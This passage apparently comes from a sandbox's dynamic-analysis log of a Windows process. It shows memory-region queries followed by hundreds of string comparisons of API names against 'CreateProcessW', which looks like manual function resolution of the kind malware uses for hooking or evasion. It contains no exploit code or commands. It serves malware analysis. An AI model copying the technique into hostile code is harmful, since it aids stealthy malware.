State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.913] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.913] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4e00000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4e00000, AllocationBase=0x7fef4e00000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.913] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.914] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef42c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef42c0000, AllocationBase=0x7fef42c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.914] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.914] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef42a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef42a0000, AllocationBase=0x7fef42a0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.914] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.914] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4290000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4290000, AllocationBase=0x7fef4290000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.914] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.914] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4230000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4230000, AllocationBase=0x7fef4230000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.914] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.914] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4220000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4220000, AllocationBase=0x7fef4220000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.914] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.914] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef41d0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef41d0000, AllocationBase=0x7fef41d0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.915] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.915] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4170000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4170000, AllocationBase=0x7fef4170000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.915] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.915] lstrcmpiA (lpString1="_onexit", lpString2="CreateProcessW") returned -1 [0042.915] lstrcmpiA (lpString1="_lock", lpString2="CreateProcessW") returned -1 [0042.915] lstrcmpiA (lpString1="__dllonexit", lpString2="CreateProcessW") returned -1 [0042.915] lstrcmpiA (lpString1="_unlock", lpString2="CreateProcessW") returned -1 [0042.915] lstrcmpiA (lpString1="_errno", lpString2="CreateProcessW") returned -1 [0042.916] lstrcmpiA (lpString1="realloc", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="_amsg_exit", lpString2="CreateProcessW") returned -1 [0042.916] lstrcmpiA (lpString1="_initterm", lpString2="CreateProcessW") returned -1 [0042.916] lstrcmpiA (lpString1="_XcptFilter", lpString2="CreateProcessW") returned -1 [0042.916] lstrcmpiA (lpString1="__C_specific_handler", lpString2="CreateProcessW") returned -1 [0042.916] lstrcmpiA (lpString1="memcmp", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="memcpy", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="memset", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="free", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="malloc", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="wcsncpy_s", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="memmove", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="wcstol", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="_wcsicmp", lpString2="CreateProcessW") returned -1 [0042.916] lstrcmpiA (lpString1="wcschr", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="iswalpha", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="wcscspn", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="_vsnwprintf", lpString2="CreateProcessW") returned -1 [0042.916] lstrcmpiA (lpString1="memmove_s", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="wcsstr", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="memcpy_s", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="EtwEventUnregister", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="EtwEventRegister", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="EtwEventWrite", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="WinSqmIncrementDWORD", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="DestroyWindow", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="DefWindowProcW", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="UnregisterClassA", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="DialogBoxParamW", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="MessageBoxIndirectW", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="CreateWindowExW", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="SetWindowLongW", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="MessageBoxW", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="SetForegroundWindow", lpString2="CreateProcessW") returned 1 [0042.916] lstrcmpiA (lpString1="LoadIconW", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="CharNextW", lpString2="CreateProcessW") returned -1 [0042.917] lstrcmpiA (lpString1="CheckDlgButton", lpString2="CreateProcessW") returned -1 [0042.917] lstrcmpiA (lpString1="IsDlgButtonChecked", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="SetDlgItemTextW", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="GetDlgItemTextW", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="GetWindowTextW", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="CheckRadioButton", lpString2="CreateProcessW") returned -1 [0042.917] lstrcmpiA (lpString1="GetParent", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="SetProcessDPIAware", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="DestroyMenu", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="TrackPopupMenuEx", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="GetSubMenu", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="GetSysColor", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="ScreenToClient", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="GetMessagePos", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="LoadMenuW", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="UpdateWindow", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="EndDeferWindowPos", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="DeferWindowPos", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="GetDlgCtrlID", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="MapWindowPoints", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="GetWindow", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="BeginDeferWindowPos", lpString2="CreateProcessW") returned -1 [0042.917] lstrcmpiA (lpString1="InvalidateRect", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="SetCursor", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="SetWindowTextW", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="EndDialog", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="KillTimer", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="SetTimer", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="GetSystemMetrics", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="GetWindowRect", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="GetClientRect", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="SetWindowPos", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="GetWindowLongW", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="LoadStringW", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="SetFocus", lpString2="CreateProcessW") returned 1 [0042.917] lstrcmpiA (lpString1="SendMessageW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="LoadCursorW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="GetDlgItem", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="EnableWindow", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SetWindowLongPtrW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="GetWindowLongPtrW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="DispatchMessageW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="TranslateMessage", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="PeekMessageW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="MsgWaitForMultipleObjects", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="PostMessageW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="ShellExecuteExW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHGetSpecialFolderLocation", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHGetDesktopFolder", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHGetFileInfoW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHBrowseForFolderW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHGetKnownFolderPath", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHCreateItemFromParsingName", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHCreateShellItem", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHBindToParent", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHParseDisplayName", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHGetFolderPathW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHGetPathFromIDListW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHGetDataFromIDListW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="UrlCanonicalizeW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHCopyKeyW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="UrlGetPartW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="PathFindFileNameW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHDeleteKeyW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="StrRetToStrW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="PathParseIconLocationW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="PathStripPathW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="PathIsRootW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="StrStrW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="PathRemoveFileSpecW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="SHRegGetValueW", lpString2="CreateProcessW") returned 1 [0042.918] lstrcmpiA (lpString1="PathCreateFromUrlW", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="PathStripToRootW", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="PathCombineW", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="PathRemoveBackslashW", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="SHGetValueW", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="SHSetValueW", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="SHEnumKeyExW", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="PathRemoveBlanksW", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="StrRetToBufW", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="SHStrDupW", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="UrlIsW", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="ProcessGroupPolicyCompleted", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="CStdStubBuffer_AddRef", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="NdrOleFree", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="NdrOleAllocate", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="NdrCStdStubBuffer_Release", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="CStdStubBuffer_CountRefs", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="NdrDllCanUnloadNow", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="IUnknown_Release_Proxy", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="CStdStubBuffer_DebugServerQueryInterface", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="CStdStubBuffer_QueryInterface", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="IUnknown_AddRef_Proxy", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="NdrDllGetClassObject", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="CStdStubBuffer_DebugServerRelease", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="CStdStubBuffer_Disconnect", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="CStdStubBuffer_IsIIDSupported", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="CStdStubBuffer_Invoke", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="CStdStubBuffer_Connect", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="IUnknown_QueryInterface_Proxy", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="OutputDebugStringA", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="GetVersionExA", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="HeapSize", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="HeapReAlloc", lpString2="CreateProcessW") returned 1 [0042.919] lstrcmpiA (lpString1="HeapDestroy", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="DeactivateActCtx", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="ActivateActCtx", lpString2="CreateProcessW") returned -1 [0042.920] lstrcmpiA (lpString1="ReleaseActCtx", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="CreateActCtxW", lpString2="CreateProcessW") returned -1 [0042.920] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="GetDriveTypeW", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="SetErrorMode", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="GetNumberFormatW", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="FormatMessageW", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="lstrcmpiW", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="FreeLibrary", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="HeapFree", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="GetProcessHeap", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="HeapAlloc", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessW") returned -1 [0042.920] lstrcmpiA (lpString1="SubmitThreadpoolWork", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="CreateThreadpoolWork", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="DeleteFileW", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="GetVolumeNameForVolumeMountPointW", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="GetFileAttributesExW", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="GetVolumeInformationW", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="ReleaseMutex", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="CreateProcessW") returned 1 [0042.920] lstrcmpiA (lpString1="CreateMutexW", lpString2="CreateProcessW") returned -1 [0042.921] lstrcmpiA (lpString1="Sleep", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="LCMapStringW", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="GetLogicalDrives", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="GetCurrentThread", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="DuplicateHandle", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="SetEvent", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="FindResourceExW", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="FindResourceW", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="LoadResource", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="LockResource", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="SizeofResource", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="ResetEvent", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="CloseHandle", lpString2="CreateProcessW") returned -1 [0042.921] lstrcmpiA (lpString1="CreateEventW", lpString2="CreateProcessW") returned -1 [0042.921] lstrcmpiA (lpString1="lstrlenW", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="CompareStringW", lpString2="CreateProcessW") returned -1 [0042.921] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="LocalAlloc", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="RaiseException", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="LookupAccountSidLocalW", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="QueryServiceStatus", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="ControlService", lpString2="CreateProcessW") returned -1 [0042.921] lstrcmpiA (lpString1="OpenServiceW", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="OpenSCManagerW", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="CloseServiceHandle", lpString2="CreateProcessW") returned -1 [0042.921] lstrcmpiA (lpString1="StartServiceW", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="NotifyServiceStatusChangeW", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessW") returned -1 [0042.921] lstrcmpiA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessW") returned -1 [0042.921] lstrcmpiA (lpString1="GetLengthSid", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="OpenThreadToken", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="RegEnumKeyW", lpString2="CreateProcessW") returned 1 [0042.921] lstrcmpiA (lpString1="RegLoadMUIStringW", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="RegEnumKeyExW", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="RegEnumValueW", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="RegQueryInfoKeyW", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="RegNotifyChangeKeyValue", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="IsValidSid", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="CopySid", lpString2="CreateProcessW") returned -1 [0042.922] lstrcmpiA (lpString1="RegSetValueExW", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="RegGetValueW", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="RegCreateKeyExW", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="RegDeleteValueW", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="RegDeleteKeyExW", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="SetWindowTheme", lpString2="CreateProcessW") returned 1 [0042.922] lstrcmpiA (lpString1="CoInitializeEx", lpString2="CreateProcessW") returned -1 [0042.922] lstrcmpiA (lpString1="CLSIDFromString", lpString2="CreateProcessW") returned -1 [0042.922] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef40b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef40b0000, AllocationBase=0x7fef40b0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.922] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, 